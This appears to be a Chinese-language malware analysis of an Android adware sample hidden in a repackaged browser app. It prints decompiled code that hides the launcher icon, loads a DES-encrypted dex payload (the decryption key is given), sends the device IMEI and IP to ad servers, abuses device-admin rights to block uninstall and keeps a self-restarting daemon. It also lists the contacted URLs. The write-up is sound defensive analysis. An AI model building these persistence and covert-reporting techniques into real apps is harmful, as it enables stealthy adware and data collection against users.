概况
MD5: 14792786094250715197540fd3b58439
SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Certificate : Data : Version : 3 (0 x2) Serial Number: 1208868505 (0 x480dde99) Signature Algorithm: sha256WithRSAEncryption Issuer : C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool Validity Not Before: Sep 9 09 :11 :13 2015 GMT Not After : Jan 25 09 :11 :13 2043 GMT Subject : C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool Subject Public Key Info: Public Key Algorithm: rsaEncryption Public -Key: (2048 bit) Modulus : 00 :93 :57 :2 d:52 :af:c1:71 :cf:7 a:cb:2 f:6 a:6 c:0 a: b2 :3 f:4 b:60 :a6:a7:d0:9 d:ba:36 :a1:0 f:0 d:cc:9 e: 32 :ea:23 :df:80 :a3:b3:9 f:2 b:93 :b9:53 :c4:e5:bf: 05 :32 :21 :23 :c1:13 :78 :b0:72 :08 :19 :8 e:5 e:c0:a0: 13 :11 :19 :d6:23 :8 a:b6:44 :2 b:73 :e0:1 d:f3:b3:f4: ab :6 c:2 e:af:78 :2 f:8 b:e2:dc:b0:d6:06 :af:8 e:3 f: 29 :54 :1 a:59 :44 :55 :73 :98 :2 f:fd:8 b:18 :b0:de:c6: 9c :ee:0 c:c7:f7:04 :9 d:0 c:a7:62 :06 :45 :4 f:08 :20 : 2e :ca:a9:20 :88 :0 e:08 :2 b:f1:9 c:a9:24 :5 d:35 :85 : 02 :bb:c0:ff:37 :98 :4 b:c7:6 f:f2:75 :81 :43 :78 :f8: 4b :cc:63 :8 c:f5:0 e:c9:95 :05 :3 d:ee:a1:85 :cd:94 : 97 :b8:48 :93 :02 :b3:71 :6 e:fb:39 :6 f:63 :5 d:a7:24 : c1 :dc:77 :a9:9 c:de:5 d:76 :63 :a8:ad:1 d:e9:d6:84 : 9b :ee:8 d:37 :38 :4 b:7 c:ff:94 :c9:df:dd:17 :80 :8 c: e8 :d1:94 :5 d:05 :dc:ef:d8:dc:90 :4 c:8 b:75 :22 :6 d: 57 :6 e:ee:4 c:5 f:62 :96 :5 c:72 :64 :a4:5 b:0 f:29 :e0: f3 :31 :11 :99 :6 a:b4:e5:6 c:16 :4 d:8 a:44 :46 :06 :8 f: 06 :05 Exponent : 65537 (0 x10001) X509v3 extensions: X509v3 Subject Key Identifier: A6 :8 F:86 :BB:A7:0 A:DB:29 :2 E:E9:26 :A6:F1:8 C:BF:2 F:4 B:58 :99 :39 Signature Algorithm: sha256WithRSAEncryption 82 :62 :98 :a8:39 :10 :3 b:f5:09 :42 :97 :de:e9:4 c:57 :6 c:4 e:58 : a3 :1 a:31 :29 :a4:79 :98 :3 f:c9:68 :3 c:e5:90 :be:7 f:b0:98 :2 b: 8f :95 :9 e:4 e:d2:bc:82 :6 e:bf:32 :56 :35 :87 :c8:19 :08 :ae:af: 9c :db:94 :71 :d4:db:73 :d9:25 :e2:e5:f1:92 :a0:a4:c4:bd:27 : 21 :b2:c8:ec:e2:2 a:c3:bb:a2:85 :97 :78 :2 b:4 a:94 :cc:fc:dc: 75 :6 a:11 :c8:ba:da:30 :be:11 :e9:e7:4 a:5 e:e1:ae:af:4 d:36 : 14 :69 :31 :ab:68 :16 :69 :ed:a8:bb:c7:be:bf:8 b:ca:4 c:01 :d0: 7e :65 :45 :31 :72 :0 f:7 b:8 d:7 e:76 :40 :86 :45 :8 d:ee:a3:b2:ee: ac :d3:0 e:60 :29 :b0:fd:dc:8 c:6 a:25 :06 :01 :99 :81 :96 :f5:4 c: 1d :1 a:1 d:dc:0 e:4 b:66 :15 :80 :e8:f5:1 c:cd:98 :60 :71 :08 :de: f9 :4 f:69 :b0:22 :ec:05 :18 :6 b:cd:5 a:05 :ce:3 a:fe:57 :4 b:e7: 8b :64 :b4:f7:4 a:cd:63 :c1:03 :01 :e2:b0:aa:81 :2 d:89 :e1:4 d: da :fb:8 f:b9:37 :02 :ad:85 :64 :de:87 :73 :1 a:7 a:36 :50 :3 f:e6: 9a :73 :65 :a0:33 :af:81 :c6:c8:55 :89 :e6:a8:03 :6 a:c6:da:f0: a5 :cc:1 c:6 e
样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机, 通过广告来获得经济收益,安装应用后访问以下链接:
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://dw.cnscns.com 是一个移动广告平台。
分析 关键的地方是两个service和一个Receiver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <service android:name ="net.tend.dot.DZS" /> <service android:exported ="true" android:name ="net.tend.dot.DZK" android:process =":daemon" /> <activity android:configChanges ="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents ="true" android:launchMode ="singleInstance" android:name ="net.tend.dot.DZA" android:theme ="@android:style/Theme.Translucent.NoTitleBar" /> <receiver android:name ="net.tend.dot.DZR" > <intent-filter > <action android:name ="android.net.conn.CONNECTIVITY_CHANGE" /> <action android:name ="android.intent.action.USER_PRESENT" /> <action android:name ="com.dz.downloadmanager" /> <action android:name ="action.dz.start" /> </intent-filter > <intent-filter > <action android:name ="android.intent.action.PACKAGE_ADDED" /> <action android:name ="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme ="package" /> </intent-filter > </receiver >
但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:
net.tend.dot.DZS -> mkit.dz.vol.MFSS net.tend.dot.DZK -> mkit.dz.vol.MFKS net.tend.dot.DZR -> mkit.dz.vol.MFBR net.tent.dot.DZA -> mkit.dz.vol.MFAC
而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:
assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行 解密。解密出来的文件为dex文件,可以用jeb正常分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import javax.crypto.Cipher;import javax.crypto.CipherInputStream;import javax.crypto.CipherOutputStream;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;public class decrypt { public static void main (String[] args) { try { String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq" ; FileInputStream fis2 = new FileInputStream ("/tmp/dzsm" ); FileOutputStream fos2 = new FileOutputStream ("decrypted" ); decrypt(key, fis2, fos2); } catch (Throwable e) { e.printStackTrace(); } } public static void encrypt (String key, InputStream is, OutputStream os) throws Throwable { encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os); } public static void decrypt (String key, InputStream is, OutputStream os) throws Throwable { encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os); } public static void encryptOrDecrypt (String key, int mode, InputStream is, OutputStream os) throws Throwable { DESKeySpec dks = new DESKeySpec (key.getBytes()); SecretKeyFactory skf = SecretKeyFactory.getInstance("DES" ); SecretKey desKey = skf.generateSecret(dks); Cipher cipher = Cipher.getInstance("DES" ); if (mode == Cipher.ENCRYPT_MODE) { cipher.init(Cipher.ENCRYPT_MODE, desKey); CipherInputStream cis = new CipherInputStream (is, cipher); doCopy(cis, os); } else if (mode == Cipher.DECRYPT_MODE) { cipher.init(Cipher.DECRYPT_MODE, desKey); CipherOutputStream cos = new CipherOutputStream (os, cipher); doCopy(is, cos); } } public static void doCopy (InputStream is, OutputStream os) throws IOException { byte [] bytes = new byte [64 ]; int numBytes; while ((numBytes = is.read(bytes)) != -1 ) { os.write(bytes, 0 , numBytes); } os.flush(); os.close(); is.close(); } }
MainActivity是 com.dz.browser.WelActivity
1 2 3 4 5 6 7 8 <activity android:icon ="@drawable/icon1" android:label ="@string/main_name" android:name ="com.dz.browser.WelActivity" android:screenOrientation ="portrait" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity >
WelActivity 里干几件事:
隐藏图标
1 2 3 4 5 6 private void setComponentEnabled (Context context, Class arg6, boolean enabled) { ComponentName v0 = new ComponentName (context, arg6.getName()); PackageManager v3 = context.getPackageManager(); int v1 = enabled ? 1 : 2 ; v3.setComponentEnabledSetting(v0, v1, 1 ); }
动态加载dex
1 2 3 4 5 6 7 8 9 10 private void GoMain () { new Handler ().postDelayed(new Runnable () { public void run () { WelActivity.this .setComponentEnabled(WelActivity.this , WelActivity.class, false ); } }, 5000 ); Intent v0 = new Intent (); v0.setClass(((Context)this ), GuideActivity.class); this .startActivity(v0); }
GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。 GuideActivity 同时向广告服务器发送本机信息
1 2 3 4 5 6 7 8 9 10 11 new Thread (new Runnable () { public void run () { try { Log.i("ads" , "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID( GuideActivity.this ), GuideActivity.this .Params.reqparams())); } catch (PackageManager$NameNotFoundException v1) { v1.printStackTrace(); } } }).start();
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
1 2 3 4 5 6 7 8 POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1 Content-Length : 59Content-Type : application/x-www-form-urlencodedHost : mob.s2s.nooobi.comConnection : Keep-AliveUser-Agent : Apache-HttpClient/UNAVAILABLE (java 1.4)country = CN&ip =220.231 .27 .156 &model =sdk&imei =000000000000000
同时加载dex还有另外一个入口,通过 Receiver
1 2 3 4 5 6 7 8 9 10 11 12 13 <receiver android:name ="net.tend.dot.DZR" > <intent-filter > <action android:name ="android.net.conn.CONNECTIVITY_CHANGE" /> <action android:name ="android.intent.action.USER_PRESENT" /> <action android:name ="com.dz.downloadmanager" /> <action android:name ="action.dz.start" /> </intent-filter > <intent-filter > <action android:name ="android.intent.action.PACKAGE_ADDED" /> <action android:name ="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme ="package" /> </intent-filter > </receiver >
当网络变化,用户锁屏等操作时将自动加载dex
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class DZR extends BroadcastReceiver { public DZR () { super (); } private void a (Context context, Intent intent) { try { a.a(context, i.class).onReceive(context, intent); } catch (Exception v0) { Log.e("ads" , "" , ((Throwable)v0)); } } public void onReceive (Context context, Intent intent) { Context context = context.getApplicationContext(); String action = intent.getAction(); System.out.println("SV=" + dzm_version.DZM_1_2_5); if (action.equals("android.intent.action.USER_PRESENT" )) { DZM.getInstance(context); } l.start_thread(context); if (l.str_dzmb_kiup_act().equals(action)) { l.loadDex(context, intent); } else { this .a(context, intent); } } }
1 2 3 4 5 6 <receiver android:name ="com.dz.browser.MyReceiver" > <meta-data android:name ="android.app.device_admin" android:resource ="@xml/lockourscreen" /> <intent-filter > <action android:name ="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter > </receiver >
lockourscreen.xml 里申请了锁屏权限
1 2 3 4 5 <device-admin xmlns:android ="http://schemas.android.com/apk/res/android" > <uses-policies > <force-lock /> </uses-policies > </device-admin >
但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。
样本会访问下面URL 获得ip地址信息 http://ip.taobao.com/service/getIpInfo2.php?ip=myip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {code: 0 ,data: {country: "中国" ,country_id: "CN" ,area: "华北" ,area_id: "100000" ,region: "北京市" ,region_id: "110000" ,city: "北京市" ,city_id: "110100" ,county: "" ,county_id: "-1" ,isp: "华瑞信通" ,isp_id: "1000146" ,ip: "220.231.27.156" } }
从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL
daemon 分析 两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。 在手机上得到下面的命令行
1 /data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120
daemon 使用说明
1 usage: %s -p package-name -s daemon-service-name -t interval-time
daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动 服务程序。
1 2 3 u0_a45 999 36 193564 32452 ffffffff 40033 a40 S org.dz.passion.browser:daemonu0_a45 1016 36 192640 35772 ffffffff 40033 a40 S org.dz.passion.browseru0_a45 1028 1 728 296 c0099f1c 40032 c88 S /data/data/org.dz.passion.browser/app_bin/daemon
这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中, 从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动 启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class MFKS { private Service service; public MFKS () { super (); } public IBinder onBind (Intent arg2) { return null ; } public void onCreate () { run_daemon.install(this .service.getApplicationContext(), config.get_kvp_classObject(this .service .getApplicationContext()), 120 ); this .service.startService(new Intent (this .service.getApplicationContext(), config.get_svp_classObject( this .service.getApplicationContext()))); } public void onStart (Intent arg1, int arg2) { } public void setService (Service arg1) { this .service = arg1; } }
附录 访问的URL http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip http://api.nooobi.com/api-unlock/getlockappconfig http://api.nooobi.com/api-unlock/insertimei http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1 http://api.nooobi.com/api-unlock/getapptype http://api.nooobi.com/api-unlock/kitup http://alog.umeng.com/app_logs http://api.nooobi.com/api-unlock/getadlist http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg http://api.nooobi.com/api-unlock/unlockaction
总结 DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分, 是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。